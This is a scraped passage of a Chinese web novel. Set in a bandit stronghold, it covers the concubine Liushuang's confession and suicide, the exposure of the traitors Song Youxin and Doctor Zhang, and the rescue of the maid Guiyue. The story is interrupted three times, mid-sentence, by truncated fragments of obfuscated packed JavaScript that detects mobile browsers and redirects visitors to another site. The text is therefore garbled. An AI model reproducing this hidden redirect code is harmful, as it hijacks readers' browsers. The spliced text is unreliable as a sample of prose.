琉霜神色肉眼可见地放松下来,而后又渐渐变为麻木,以往光彩夺目的美貌此刻也变得萧泠起来,她抿了抿唇,声音轻缓,“这这件事,要从一年前说起......” 一年前,她作为山寨大当家的夫人,虽然偶尔心有不甘,但大多时候还是愿意同大当家、凤奴姐姐、寨子里面的兄弟姐妹度过此生的,只是有一天,宋又新突然找到她,说是如果她能帮他当上山寨的大当家,他便,让她成为山寨中的当家,同时给她办一个良民的身份,为她在云州购得一处房产,让她闲暇时间可去云州居住生活......她受不住诱惑,一步错步步错,不知不觉中便成为了他的同伙。 说罢,女人看了眼徐青茹,眼眸中似有悔歉,“青茹,此前宋又新还让我在送你的糕点中下毒,我......我当时也动了心思,对不住,真是对不住......” 徐青茹神色平静:“但你最终还是没有下毒。” 听到这话,琉霜呢喃地重复了一遍,“是啊,最终我还是没有下毒......”随后,她神色变得十分哀寂,“一步错步步错......如今这结果,我也早该料到。” 是的,一步错步步错,如果她是琉霜,她必然会除去后患,因为—— 徐青茹眼神复杂地看向女人,那个时候她从栾佑院中回还明院路途遇到了一对野鸳鸯,那男人唤了声“辛苦了,敬宁。”她当时并未听出这声音究竟是谁,只当是寨子里的人耐不住寂寞,可后来她进了大当家的房内,闻到了一丝淡淡的奇异的香味,与那天晚上她所闻到的香味有些相似,她这才把注意打到了凤奴和琉霜身上,但她没有想到,那个人最终竟然是琉霜。 那天晚上,应该是琉霜在做含落回的糕点时不小心染上了,所以,在她再一次做相关糕点时,这个味道又出现了。 于是,她在狱房中同栾佑讲了她这一番观察,可以先试探凤奴再试探琉霜,可惜晚间凤奴忽肚子闹腾,所以才只由了琉霜服侍,不过,依徐青茹看,这并非巧合,而是宋又新与琉霜太过于急切,想着能快速解决大当家,却不料自己露了马脚。 “青茹,你很聪明,这些日子,我是真心喜欢你的,所以不愿给你下毒。”琉霜声音缓慢,眼中泪光闪烁,随后她看向大当家,忽地跪倒在地,“大当家,我背叛了您,也背叛了凤奴姐姐,我自知我罪不可恕,二当家也不会饶过我的,我只希望,您不要被仇恨蒙蔽了双眼,眼前人,眼前事,难道就不重要吗?凤奴姐姐对您一片痴心,您,不要辜负了她!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298185|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说罢,女人眼神愈发坚定与麻木,她突然起身,猛地从发髻上抽出一根银簪,刺入喉咙,一股鲜血涌了出来,琉霜的身体猛地倒地,她的眼神死寂般地望向窗外。 该动作发生也不过顷刻之间,待众人反应过来之际,琉霜气息已落。 “琉霜夫人!”徐青茹神色怔然,不由喊出了声。她说她对她的情谊是真,她又何尝不是呢?被囤于山寨的日日夜夜,她以为,她和琉霜夫人也算得上一对朋友。如今她自戕,也意味着这个山寨的人情味又少了一分。 栾佑慢步走来,安静地虚拢住了她,这一次,少女没有拒绝。 单豹神色略显疲倦,他没有看向倒地的,向花一般枯萎的琉霜,只是怅然地闭了眼,半响才道:“生死不过一瞬间,她既要走,便随了她吧。佑儿,你去助二当家,不用守着我了。” 栾佑看了一眼少女,然后看向男人,“他们说不定会派人过来行刺,我暂时不能离开。” 大当家沉默了会,说:“佑儿,你觉得老三胜的几率有多大?” “三成。” 单豹笑了下:“他们有备而来,我们也并非毫无准备。”说到这,他不由咳嗽了几声,“老三向来心思重,只是没想到,竟然谋划到如此地步,若不是徐姑娘告诉我,一时半会我也不会怀疑他,这次找到他的同伙,也是四当家的功劳。四当家,你有什么想要的吗?” 徐青茹从少年怀中走出,抬眸道:“这是青茹的份内之事,若说愿望,大当家可否下令好好安葬琉霜夫人?” 有那么一瞬间,她想说可否放她离开杏花寨,远离这些是是非非,但转念一想,自己知道杏花寨不少秘密以及赵羽宝库的线索,他们怎么可能会就这般轻易放她离开? 而琉霜夫人,她被迫走到这一步,还有一个原因就是她与宋又新有染,故而,她无法面对大当家或者之后二当家的质问,不如以死结尾,留得一个清净。她对她心软,没有杀她,才会发生现今之事。不过,依徐青茹而言,整个故事的大纲已然架起,宋又新的失败和琉霜的死亡是必然的,她不必心怀愧疚,只是...... 一念心动,她终究是不忍,想为她留个体面。 “你们情感倒甚。”单豹声音听不出情绪,半顷他才道,“既然四当家心愿如此,我自然应允。” “青茹谢过四当家。” 少女弯腰长揖,宽袖拂落。 说罢,她慢慢走到琉霜旁侧,用手轻轻将女人的眼睛合上,最后从袖中拿出一张白帕,平和温柔地盖在了她脸上。 “琉霜?!” 凤奴着一身简便的衣裳快步走了进来。她本来身上还有些不利落,但丫鬟刚刚告诉她三当家突然叛变,来势汹汹,她心中着急,便顾不上自己身体,匆忙赶到大当家房中,但不曾见到的就是琉霜躺在地上,脖颈鲜血直流的场面。 好端端一个人,怎么突然、死了? 31. 第 31 章 凤奴一直以为自己会是那个先离开的人,但她没有想到,白日里还活生生的的女孩现在已成为了一具尸体。 她才二十岁。 凤奴记得第一次见她,是城阳王对赵羽以及其党羽追杀之际,她与单豹在东躲西藏时偶然救下了这个姑娘,那个时候,她还不叫琉霜,叫做敬宁,是一位被鸨母卖给一好赌大汉的可怜娼妓。 当时那壮汉意欲对敬宁施暴,被路过求住的单豹用刀剑所杀,而男人的手腕上也留下了一道被壮汉所刺的伤疤。 主人已死,他们顺理成章地住进了那个壮汉的家中,缩在角落的敬宁也懵懵懂懂地看着他们,问道:“你们会杀了我吗?” 她看着女孩,拿出手帕擦去她脸上的污渍,少女蜡黄瘦尖的脸庞便显露出来。凤奴摇了摇头:“我们不会杀你。” 敬宁眼中忽地亮了一下,“你们......不杀我......那恩人,你们可以带敬宁走吗?” 她的眼神中尽是期盼,天真而乖巧。 “你要跟我们走?”凤奴的神色略显凝重,她声音沉了沉,“跟我们走不会有什么好事,还得日日提心脑袋,即使这样,你也愿意吗?” “我愿意!”少女大声喊道,眼中闪烁着晶莹泪花,“我愿意!我愿意!大恩人,请带我走吧!敬宁愿做牛做马地报答恩人!” 凤奴的心蓦然软了一下,她伸出手摸了摸少女枯燥的头发,“你既执意如此,那就不要后悔。是死是活,全凭命数。”说罢,她又顿了顿,“敬宁这个名字不好,命格太重了,你以后就叫琉霜吧。” “琉——霜——” 她一边比划着,一边点了点头,神色是掩不住的雀跃,“好!敬宁以后就是琉霜,谢谢恩人!我与恩人皆要长命百岁!” 凤奴笑笑,这姑娘还是孩子气性,她转头看向单豹,停顿片刻,“你觉得如何?” 单豹站在一旁,看不出神情,只道:“你既喜欢,便带着吧。” 于是,这个才十多岁的少女便跟着他们在悬崖边上行走,不知吃了多少苦,受了多少伤,甚至有一段时间她夜夜做噩梦,身体一度差到极致,但她也依旧咬牙挺了过来,最终和他们一起来到了杏花寨。 但、但,眼前这是...... 凤奴抿了抿唇,脸色霎时间变得苍白,“这是为何?” “凤奴夫人,琉霜是宋又新的同伙。” “她自戕了。” 徐青茹平静说着,只是眼睫微微颤动,掩盖了眸中的情绪。 屋中落针可闻,只有夜风呼呼地穿过窗棂,伴随着几道木头吱呀声以及乌鸦的啼鸣。 过了半响,凤奴夫人才慢慢地点了点头,“妾身明白了。”说罢,她看向身侧的丫鬟,喉头微微滚动,“春云,将琉霜带入房中,给她换身衣裳,就那件黄绿色的,她最喜欢的了。” 丫鬟抹了把眼泪,哽咽着应道,“是,夫人。” 凤奴转向徐青茹,缓了缓,才开口道:“四当家,大当家的毒可全解了?” 大当家中毒不深,且张大夫处理得及时,又有银针放血,汤药解毒,故而基本无碍。此前张大夫同琉霜所说,需熬过今晚,也不过是诓骗之计。于是徐青茹略微颔首,一缕青丝从额角滑落:“已解,只需稍加修养即可。” 话落,少女走到床榻边上,素白的指尖将之前打翻破碎的瓷片以及少许药渣拾起,她轻轻嗅了嗅,神色忽变得极为复杂,“琉霜夫人端来的这碗汤药......”她顿了顿,声音带着难以置信,“确实无毒。” “不对,怎么可能......”徐青茹摇了摇头,眼眸中疑惑尽生,“琉霜今日明明是要杀害大当家,这碗汤药怎么会是无毒的?” 栾佑看向她,忽地出声:“是张大夫。” 少女闻言蓦然抬头,神情陡然一变,“原来如此,原来如此!” 他们一直以为宋又新真正的同伙只有一位,但实际上他有两位,一位是半被胁迫半被引诱的琉霜,而另一位就是擅长医术,在山寨沉浮的张大夫,并且,琉霜极有可能并不知道张大夫的身份。所以,琉霜以为自己下了毒,心怀愧疚,这才没有沉住气,暴露了出来。 此前她就疑惑,宋又新怎么懂得制药制毒,方方面面,用量格外精巧,她本以为是他请了寨外的高人,但没想到,这人竟是一向不愿意掺和寨中事务以及痴迷药学的张大夫的手笔。 好大一盘棋!她作替死鬼,琉霜作挡箭牌,张大夫才是他真正的棋局上的盟友,一桩桩一件件,她险先也被蒙骗了过去! “既然张大夫是宋又新的人,那他们便早已知道我们试探之事,这才将琉霜拉出来转移注意,好晚上来一招破釜沉舟。”徐青茹慢慢说道,眉眼中涌现几分焦切。 “此事确出乎意料。”栾佑微蹙着眉,“他们应该还有后招。” “小栾爷,要不你还是去助二当家,这边一时半会,宋又新的人闯不进来。”少女凝思片刻,抬眸时眼中闪过一丝决然。 栾佑顿了顿,目光在那片药渍处停留片刻,“再等等。” ”报——” 方才报信的那位山匪再次赶来通传:“大当家,二当家与五当家已将宋又新等人捉拿,静等您吩咐!” 徐青茹神色微微一怔,这么快?二当家竟然如此厉害...... 然而下一秒,变故陡生。少年身形如影,寒光乍现间,已将刀剑架在了那人脖颈处。 “你为何要撒谎?” 那人面色骤然一变,随后立即道,“小栾爷,我没有撒谎,宋又新确已被拿下。” “当真?”少年声音冷冽,那双丹凤眼中划过一丝狠戾。 “千真万确!”那人额头渗出细密汗珠,神色急切,“小栾爷,我在此发誓,对大当家和您忠心耿耿,若有欺瞒,必叫我不得好死!” “......您可以把刀放下了么?” 半响,栾佑才慢慢收了刀,看向大当家,语气平淡,“应当是真的了。” 榻上之人微微颔首,“既然如此,让二当家将人带过来吧。” “是!”那人如蒙大赦,立马鞠躬退下。 “四当家——”凤奴突然出声,她看向少女,眼眸中已恢复了往日的沉静,“既然事情已了,你又受了伤,不如到我房中休息片刻?” 徐青茹心中一顿,很快便了解了凤奴的意思——接下来他们的谈话,是她所不能参与的。于是她点点头,露出一丝温婉的笑容:“好,青茹谢过夫人。” 凤奴笑了笑,“四当家,这边请。” 少女跟着她慢慢往外走,走之前,她忽地转头看了眼栾佑,但很快又收了回去。纤细的睫毛垂下,将她眼眸中的所有情绪尽数遮掩。 凤奴没有将她带入自己房中,而是将她带入了琉霜屋里。 这是一个布置典雅的房间,铜镜擦得锃亮,紫檀木的梳妆台上摆着几盒胭脂与精巧的首饰。角落处,一座青瓷镂空香炉正袅袅升起青烟,传来淡淡的熏香。 “请坐,四当家。”凤奴指了指靠窗的八仙桌,随后吩咐丫鬟,“春云,给四当家倒一盏茶。” 徐青茹缓慢走到桌前坐下,而后转头看向床榻——琉霜的尸体正躺在上方,身上盖着一床绣花锦被,只露出一张苍白而美丽的脸庞,安静而平和。 “四当家,能否详细地与我说一下关于琉霜的事情。”凤奴声音平静,但细听之下,仍有一丝哀伤与自怨,但很快她抿了抿唇,露出一个和善的微笑,“我知道,她已经背叛了大当家,还给大当家下毒,死亡也是她应受的。” 徐青茹神色微顿,慢慢地点了点头:“好,那我便将我知道的一一为夫人讲来。”她垂下眼帘,轻抿一口茶,随后娓娓道来,但她也同琉霜一般,隐瞒了那段林丛中发生之事。 待她说完,屋内陷入了长久的寂静。香炉里的沉香渐渐燃尽,最后一丝青烟也消散在空中。凤奴终于开口,嗓音带着不自主的哽咽与沙哑:“是我没有管教好她,当年也是我求了大当家纳了她。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314041|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“......您是为她好。”徐青茹轻声说道,面色中辨不出情绪,“在这山寨中,琉霜夫人如此貌美,只有成为大当家的妾室才不会被人惦记。”她想起第一次见琉霜的情形,她穿着桃红色的云裙,明艳动人,娇俏活泼,活脱脱的一位古代版真人西施。 听得此话,凤奴苦笑一声,眼神穿过少女望向其背后躺于床榻之人,“有这个原因,但也有我的私心。” 私心?徐青茹忽地想过之前知秋所说,大当家与二当家之事,她犹豫片刻,还是出声问道,“与二当家有关?” 凤奴神色一怔,面容浮现出几丝自嘲与苦涩,“就连你也看出来了么。二当家是大当家看着长大的,情谊深厚,若当初没有意外发生,只怕他们早已结为了夫妻。” “不过,现在想来,还是我私欲太重,这才令琉霜陷入了死地。” 少女顿了顿,默默捋了捋其中关系,随后抬眸宽慰道:“夫人您不必自责,世人常说,冥冥之中,自有定数,如今这般情形,也不过命运使然罢了。”当然,主要是作者使然,要谁谁死,要谁谁生,不过这话,徐青茹只能暗自吐槽。 凤奴笑了笑,眼眸中情绪复杂:“是啊,万般皆是命数。” 过了片刻,徐青茹似想到些什么,眉眼带了点焦切:“凤奴夫人,您可知桂月的下落?” “桂月?四当家你的那位贴身丫鬟?”凤奴蹙了蹙眉,凝思片刻道,“宋又新应是将她关入了西边一处偏僻的屋子里,但具体位置......我尚不清楚,你可之后问问五当家。” 她颔首:“青茹明白了。” 等今晚一切结束,她就要将桂月救出。 * 大当家房中,宋又新以及张大夫正被两位庞大腰圆的山匪押跪于地,头发散乱,衣裳尾处是被晕开的片片血渍。 宋又新冷着脸,一道血痕顺着眉骨蜿蜒而下,他抿着唇,未说一句话。 罗斩秋神色淡淡,漫不经心地转动着手中的匕首,点点银光在她指尖跃动挥舞。忽地,她手中动作一顿,看向跪在地上两人,气势盛人,眼眸中掠过一丝杀意,“背叛杏花寨,只有死路一条,你们想死得快一点,还是慢一点?” “死、死得慢一点......”张大夫缩了缩头,眼神惶恐极了,“二当家,您说吧,要怎么样才能放过我?”这位二当家凶名在外,碰到她简直碰上了活阎王,也是他一时冲昏了脑袋,答应了和宋又新筹谋,要不然怎么会落得如此下场。 罗斩秋冷哼一声,嘴角微微勾起,“既然想死得慢,那就说说,你们的行动和城阳王有没有关系,为何要背叛杏花寨?” “城阳王?我们,我们和城阳王没有关系,就是想夺权篡位......二当家,你千万要相信我们啊......”张大夫声音越来越嘶哑,他花白的头发散乱如枯草,脸上青一块紫一块,更显颓废苍老。 “老三,你来说。”大当家忽地出声,语气不容置疑。 被点到的宋又新嗤笑一声,过了半响才道:“大当家,我为何这样做,你难道不清楚吗?你们的目的,从来不是为了杏花寨好,而是想将我们全部送入火坑!我这般筹划,也是为了杏花寨以及兄弟们的将来!” “三哥!”五当家大喝一声,浓眉紧皱,神色中尽是焦虑,“你别中了城阳王的诡计了,四哥血淋淋的例子摆在眼前,你不要执迷不悟!” “呵呵......不是我执迷不悟,终有一天,你会知道的。”宋又新露出一丝嘲讽的笑意,他看向眼前之人,声音陡然冷了下来,“不知道你们为何还要再执着于赵羽,他已经死了!一个死人,何必再费尽心思?” 话及赵羽,屋中蓦然陷入一片阴沉凛冽的氛围。 “死人?”单豹突然笑了笑,打破了此刻的沉寂,他眯起的眼中寒光闪烁,“没有这个死人,我们早就进地狱了。你将杏花寨这么多人拉进来,无非就是想打我一个措手不及,可是老三,人活着,得有点奔头。将城阳王杀了,就是我们的奔头。” 32. 第32章 这注定不是一个平静的夜晚。 徐青茹从琉霜屋中出来之际,便看见两人抬着一具尸体从大当家房中往外走,她未加思索,快步走上前去查看——正是宋又新,他脸上划过几道刀痕,垂下的手指没了指甲,衣裳血浸浸的,不似正常死法。 她心中轻顿,神色略微一变,随后便看到栾佑正站在屋前的石台阶上安静地看着她。 少年的眼眸乌黑漂亮,此刻却带了一点她看不明白的意味。 刚刚在大当家屋内究竟发生了什么?宋又新死前是否有将他们推波助澜让刑渠汉杀了顾轻云之事抖落出来? 徐青茹神色一紧,思绪万千,但很快她便走上台阶,走到他身旁,抿了下唇,轻声问道:“里面如何?” “宋又新已死,二当家正在拷问张大夫。”少年的声音响起,平静淡漠中带着少许厌倦。 “......是二当家杀的,还是他自杀的?” 他嘴角勾起一抹淡淡的嘲讽,“自杀。”少顷,他眼眸中闪过一丝复杂,继续道:“不过,他们与城阳王应该无联系。” “无联系?”徐青茹轻蹙了下眉,忽然意识到一个被她遗漏的关键点,如果宋又新与城阳王无瓜葛,那山寨中是谁暗中与外界联系?在原小说中,顾轻云从山寨脱险以及帮助城阳王世子剿匪之事,被作者用寥寥几笔就掀篇而过,读者也大多不会将此放在心上。可她此前观察过,顾轻云在被关押期间,无法出门,也无人交谈,根本就不能深入了解杏花寨以及鹧鸪山地势,更何况去利用其中的信息帮助剿匪,所以,这其中必有蹊跷,或许山寨中有他人在暗中周旋。 那么,这个人,这些人,是谁? 徐青茹沉默良久,衣袖边缘在她手中反复揉捏,她忽抬眸,声音沉冽,带着一丝恳切:“小栾爷,您可否愿意与我去一趟西院?” 他轻顿,眼神中掠过一丝了然:“你要找你那丫鬟?” 徐青茹颔首,忽侧眼看了一眼屋内,里面仍然泛着橘红色的光亮,伴随着一丝淡淡的血腥味,她收回视线,语气是少有的凝重,“正是。” 少年思忖片刻,上前一步,身影完全将她笼罩其中,他眼睛微微眯起,问道:“她很重要吗?” 徐青茹一愣,脑中闪过这些日子里与桂月的点点滴滴,以及她们当初的相见,少女笑了下,眼眸中看不出情绪,“是的,她很重要。” * 夜色如漆,她与栾佑在不惊扰他人的前提下,先行离去。 这一路上,半分人影也见不着,风愈演愈烈,凄哀如阵阵哭嚎,更显得此刻苍凉阴冷。 两个人的身影一前一后,错落着,而又紧随着,默契无比。 “小栾爷——”她快走一步,站在他身旁,声音轻柔,“民女不懂,为何在宋又新如此谋划下,二当家也能如此快速将其拿下?” 少女语气中似是真的好奇不已。 他脚步一顿,偏头看向她,少年的气息侵染下来,带着一丝淡淡的香味。 “二当家在这方面是天才,而且她够狠。” 他声音淡淡,但也能显而易见地听出欣赏意味。 徐青茹神色一怔,天才?她眼眸中闪过一丝复杂情绪,但很快便点了点头,浅笑道:“有道理。二当家,确实是难得一见的奇女子。” 说罢,她便自然地后退一步,恢复到之前的站位。 栾佑却未动,他面容在夜色中少了几分少年气,愈显清冷成熟,那双眸子漆黑暗沉,“你还在怨我吗?” 徐青茹一顿,似乎没有想到他会突然问到这个问题,她弯着唇,仍是那副和气的模样,“并无此事。大当家和小栾爷您也是为了抓住宋又新的同盟罢了,我自然能够理解的。” 听到这回答,他嗤笑一声,猝不及防地扣着她手腕,一字一句,“姐姐,你撒谎的时候,就爱作出这副若无其事的模样。” 少女神色陡然冷冽下来,她动了动手,却挣扎不开,她不由勾唇笑了笑,抬眸直直地看向他,“小栾爷,我不懂您的意思,麻烦您说明白。” …… “你怨我将你设计进去了。” 他声音平静,但又带着一丝轻微的讨好。 讨好? 徐青茹蹙了蹙眉,她怎么会听出这种感觉?她神色闪过一丝挣扎,是,他们利用她一事,确实让她心生怨恨,但比起这个,她还活着,这便是最大的宽慰了。她为他伤痛过怎么了?等到这段时间过去,等到山寨被剿,她与他们,便再无瓜葛。 想到此,她神色微微一变,开口道:“我与郎君的关系,是各取所需,是互生杀意,是随时抛弃,您不必为这些小事费心。”她顿了顿,继续说到,“这些都是我心里的话,您是聪明人,不会不懂。你现在愿意带我去西院寻桂月,我也是感激您的。” “有时候,糊涂一点,没有什么不好。” 少年的目光沉沉地落到她身上,半响,他放开了她的手腕,笑了笑,“是啊,姐姐一向是个聪明人,说的也是这般聪明话。”说罢,他利落地转身离去,不再等候。 她望着他的背景,双手握拳,朱唇抿了抿,一滴眼泪安静地从眼角往下滑落,她用手拂开,神色有些怔然,但很快她便收回情绪,跟在他身后,所有的一切再次消匿于黑夜之中。 绕过大堂,两人终于来到了西院,只是这一片,仍是无人守卫,颇有些阴森的氛围。 徐青茹神色疑惑,环顾四周:“怎么还是空无一人?” 少年仔细观察着这一处的房屋,随后回答道,“这些人应该大部分跟着二当家去了石垒门那,现在反叛结束,死的死,伤的伤,还在清理中,暂时顾不了这。不过,也不排除有些人,此前归从于宋又新,现在被抓入狱房了。” “明白。”她微微颔首,但—— 她神色顿了顿,这人怎么突然为她解释这么详细了......真是一个奇怪的山匪。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336801|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“走这边。”少年突然转身,衣角带来一阵微风。 “好。”她紧跟其后。 两人的影子在斑驳的墙面上交错晃动。 他们在一偏僻的房屋面前停下,窗户里面没有一丝光亮,门也已落了锁。 栾佑看了一眼身旁之人,“发钗。” 徐青茹立即会意,抬手从云鬓间抽出一支累丝银钗。钗头的海棠花饰在月光下泛着冷光,花蕊处嵌着的珍珠随着她的动作轻轻颤动。 “喏。”她将银钗递去,指尖却无意中擦过他的指腹,少女一顿,很快将手收了回来。 他接过银钗,骨节分明的手指灵活翻转,用它轻巧地拨弄着门锁,顷刻,只听见“咔哒”一声,门已被打开。两人相互对视一眼,看到对方眼底的谨慎,点点头,立刻推门而入。 推开门的瞬间,霉味混着尘土扑面而来,徐青茹用袖子捂着嘴巴,眯着眼四处寻找,然而,房屋内十分黑暗,只能借着门打开处的一抹月光,才少许有些亮意。 “桂月!” 徐青茹瞳孔一缩,很快便看到了靠在角落处闭眼浅睡的女孩。 徐青茹赶忙跑去,拍了拍她的脸庞。 那女孩终于有了些意识,凌乱的刘海下,一双杏眼盛满惊恐,被抹布堵住的嘴巴发出“呜呜呜”的闷响。 少女赶忙将其嘴巴里的抹布拿走,神色担忧地问:“桂月,你可还好,他们没有对你做什么吧?” 桂月忙摇了摇头,声音急切:“没有没有,姑娘,您有没有受伤?” 徐青茹轻叹了口气,温和地笑了笑,“我只受了些鞭刑,不打紧的,现在宋又新已死,我们是安全的。”说罢,她偏头看向栾佑,“小栾爷。”少年一顿,随后将其手的短剑扔了过去。 刀鞘在空中划出一段漂亮的弧线。 徐青茹一把将其接住,随后拔剑麻利将捆住桂月的麻绳一一砍断,很快,女孩的双手双脚便得到了释放。 徐青茹摸了摸桂月有些乱糟糟的头发,宽慰道:“没事了。” “姑娘。”桂月反握住她的手,神色担忧,“你受了刑,真的没事吗?” 少女慢慢摇了摇头,笑了下,然后将桂月搀扶起来,“我们先回还明院。”说完,她将手中的短剑递给栾佑,顿了顿,“今夜多谢。” 三人便沿着原路返回,夜色沉静,只风依旧猛烈,冲撞着世间万物,由哀嚎转变为挑衅者的叫嚣,徐青茹心想,只怕等会儿就要下雨了,不由加快了脚步,望早日回到还明院。 然而,就在此刻,风声中夹杂着少许不一样的响动,栾佑神色一动,蓦然拔剑,与一抹突然出现的黑色影子纠缠在一起。 不好! 徐青茹面色陡然冷峻下来,将桂月护在身后,眼神不断盯着四周,就怕还会有人突然现身。 只是......她担忧地看了一眼正与他人奋战的栾佑,这个忽然出现的黑衣人看起来十分棘手......